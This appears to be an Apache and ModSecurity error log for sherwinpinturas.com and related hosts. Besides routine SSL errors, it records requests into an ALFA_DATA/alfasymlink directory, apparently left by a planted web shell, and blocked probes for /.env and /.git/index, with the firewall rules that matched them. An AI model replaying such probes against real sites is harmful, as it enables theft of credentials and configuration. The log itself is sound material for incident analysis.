[Mon Oct 26 17:15:33.228956 2026] [security2:error] [pid 3084056:tid 3084056] [client 172.68.21.96:25372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at_C9XKvFNFM41eF9IjmswAAADc"]
[Mon Oct 26 17:15:33.228995 2026] [security2:error] [pid 3084056:tid 3084056] [client 172.68.21.96:25372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at_C9XKvFNFM41eF9IjmswAAADc"]
[Mon Oct 26 17:15:38.262669 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.156.248.117:10919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:15:46.160154 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.203.111.15:29389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:15:54.279315 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.205.222.214:2913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:16:14.208912 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 98.82.63.147:50016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:16:18.274944 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 54.197.178.107:53026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4_wc
[Mon Oct 26 17:16:26.204282 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 3.217.171.106:17930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/hwcache_align
[Mon Oct 26 17:16:34.194217 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.205.180.155:37151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:16:42.176218 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 18.204.152.114:15126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/10/module/uevent
[Mon Oct 26 17:16:50.262745 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.89.90.224:44849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:16:54.153735 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.210.213.220:14860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:10.151280 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.162.69.192:11786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:12.744302 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 85.208.96.211:11096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:22.271649 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 184.72.95.195:55865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:30.141980 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.223.116.180:30399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:38.278217 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.223.134.5:60243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:50.151886 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.217.171.106:33218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:17:54.179801 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 107.20.255.194:60112] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:02.226200 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 184.73.35.182:27596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:03.436517 2026] [security2:error] [pid 3064975:tid 3064975] [client 43.135.145.117:55500] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hosp4/"] [unique_id "at_Di8dX-waAlDqXJHtWFgAAABY"]
[Mon Oct 26 17:18:06.202629 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 50.16.248.61:16490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:10.174145 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.83.180.239:17797] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:14.299709 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.225.45.252:35354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:18.153014 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.80.73.122:3123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:22.186764 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 54.225.81.20:60861] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/bind
[Mon Oct 26 17:18:30.192170 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 23.22.105.143:35025] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:38.083645 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.3.104.214:25998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:38.167237 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 52.202.233.37:46970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/thermal/uevent
[Mon Oct 26 17:18:42.207278 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.214.19.8:12726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:46.232427 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.215.61.66:49761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:50.187817 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.224.215.150:46432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:18:54.170389 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.193.102.198:23104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:19:02.302311 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.215.77.19:16518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:19:22.180921 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.94.40.182:49399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:19:34.195942 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 23.23.137.202:44411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:19:35.549954 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.13:19754] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/npm/bin/npm.cmd"] [unique_id "at_D5z77nSD73jfhp0aCQgAAAAc"]
[Mon Oct 26 17:19:35.550326 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.13:19754] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/npm/bin/npm.cmd"] [unique_id "at_D5z77nSD73jfhp0aCQgAAAAc"]
[Mon Oct 26 17:19:35.550648 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.13:19754] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/npm/bin/npm.cmd"] [unique_id "at_D5z77nSD73jfhp0aCQgAAAAc"]
[Mon Oct 26 17:19:38.190223 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 52.71.216.196:30325] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/subsystem/devices/cpu1/node0/memory13/subsystem/drivers_probe
[Mon Oct 26 17:19:42.184389 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.94.156.104:60323] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:19:50.138932 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.45.77.169:49380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:19:58.162147 2026] [ssl:error] [pid 3085795:tid 3085795] (5)Input/output error: [client 34.205.170.13:56456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:20:34.161003 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.91.122.193:42127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:20:42.133577 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 18.206.47.187:55463] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/remove_id
[Mon Oct 26 17:20:46.150694 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 18.209.137.234:44282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/remove_id
[Mon Oct 26 17:20:54.172194 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.21.228.180:55903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:02.155416 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 35.174.253.85:1547] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:09.516559 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.19:46674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/slab_size
[Mon Oct 26 17:21:11.029558 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.19:46686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/port
[Mon Oct 26 17:21:14.248904 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.238.45.183:11487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:26.169513 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.219.81.66:38751] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:34.183442 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.223.116.180:6059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:38.177984 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.214.138.148:45184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:50.141577 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 50.19.221.48:64626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:21:54.136875 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.222.190.107:36590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:22:02.147124 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.212.86.97:45644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:22:11.938512 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 109.105.209.89:28290] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 17:22:12.318531 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.209:17426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/uartclk
[Mon Oct 26 17:22:18.163802 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.224.104.67:60470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:22:22.182349 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.193.102.198:48849] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:22:30.217633 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 52.205.222.214:34077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:22:46.139228 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.25.120.246:29266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:22:54.135182 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 3.93.211.16:40408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:23:06.137946 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.90.8.255:2441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:23:10.138355 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.29.34.97:13386] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:23:18.138402 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 35.169.240.53:45947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:23:38.214071 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 35.171.117.160:39582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:23:42.148078 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.210.213.220:63395] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:23:54.122538 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 50.16.216.166:39029] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:24:10.196976 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 50.19.221.48:11261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:24:21.377257 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.203:57808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/inet_diag/sections/__ksymtab_strings
[Mon Oct 26 17:24:30.785374 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.16:38016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/cpu_partial
[Mon Oct 26 17:24:34.132156 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.44.174.136:46279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:24:38.132525 2026] [ssl:error] [pid 3098114:tid 3098114] (5)Input/output error: [client 54.84.147.79:36207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:24:46.174980 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.83.240.58:16103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:24:50.147889 2026] [ssl:error] [pid 3084053:tid 3084053] (5)Input/output error: [client 44.194.139.149:2023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:24:54.138120 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.235.81.246:44250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:25:03.987466 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 85.208.96.196:52162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/cache_dma
[Mon Oct 26 17:25:06.151294 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.70.123.241:41569] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:25:10.134376 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.193.102.198:52008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:25:14.242895 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 54.84.169.196:32507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/sections/__param
[Mon Oct 26 17:25:26.123176 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.91.122.193:14490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:25:26.282573 2026] [security2:error] [pid 3084056:tid 3084056] [client 77.83.39.94:48992] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/index"] [unique_id "at_FRnKvFNFM41eF9IjmxwAAADc"]
[Mon Oct 26 17:25:26.282839 2026] [security2:error] [pid 3084056:tid 3084056] [client 77.83.39.94:48992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/index"] [unique_id "at_FRnKvFNFM41eF9IjmxwAAADc"]
[Mon Oct 26 17:25:26.283099 2026] [security2:error] [pid 3084056:tid 3084056] [client 77.83.39.94:48992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/index"] [unique_id "at_FRnKvFNFM41eF9IjmxwAAADc"]
[Mon Oct 26 17:25:38.274691 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 18.213.27.222:37848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:25:40.639149 2026] [security2:error] [pid 3098116:tid 3098116] [client 91.92.240.86:47044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVDS1e-yu7xYT1dr5sAAAAAk"]
[Mon Oct 26 17:25:40.639374 2026] [security2:error] [pid 3098116:tid 3098116] [client 91.92.240.86:47044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVDS1e-yu7xYT1dr5sAAAAAk"]
[Mon Oct 26 17:25:40.639688 2026] [security2:error] [pid 3098116:tid 3098116] [client 91.92.240.86:47044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVDS1e-yu7xYT1dr5sAAAAAk"]
[Mon Oct 26 17:25:40.685433 2026] [security2:error] [pid 3100940:tid 3100940] [client 91.92.240.86:47060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVD77nSD73jfhp0aCUAAAAAc"]
[Mon Oct 26 17:25:40.685650 2026] [security2:error] [pid 3100940:tid 3100940] [client 91.92.240.86:47060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVD77nSD73jfhp0aCUAAAAAc"]
[Mon Oct 26 17:25:40.685926 2026] [security2:error] [pid 3100940:tid 3100940] [client 91.92.240.86:47060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVD77nSD73jfhp0aCUAAAAAc"]
[Mon Oct 26 17:25:40.705619 2026] [security2:error] [pid 3084056:tid 3084056] [client 91.92.240.86:47062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVHKvFNFM41eF9IjmyAAAADc"]
[Mon Oct 26 17:25:40.705619 2026] [security2:error] [pid 3098114:tid 3098114] [client 91.92.240.86:47054] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVIU8RArHmY5bTmWs9wAAAAY"]
[Mon Oct 26 17:25:40.705810 2026] [security2:error] [pid 3098114:tid 3098114] [client 91.92.240.86:47054] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_FVIU8RArHmY5bTmWs9wAAAAY"]
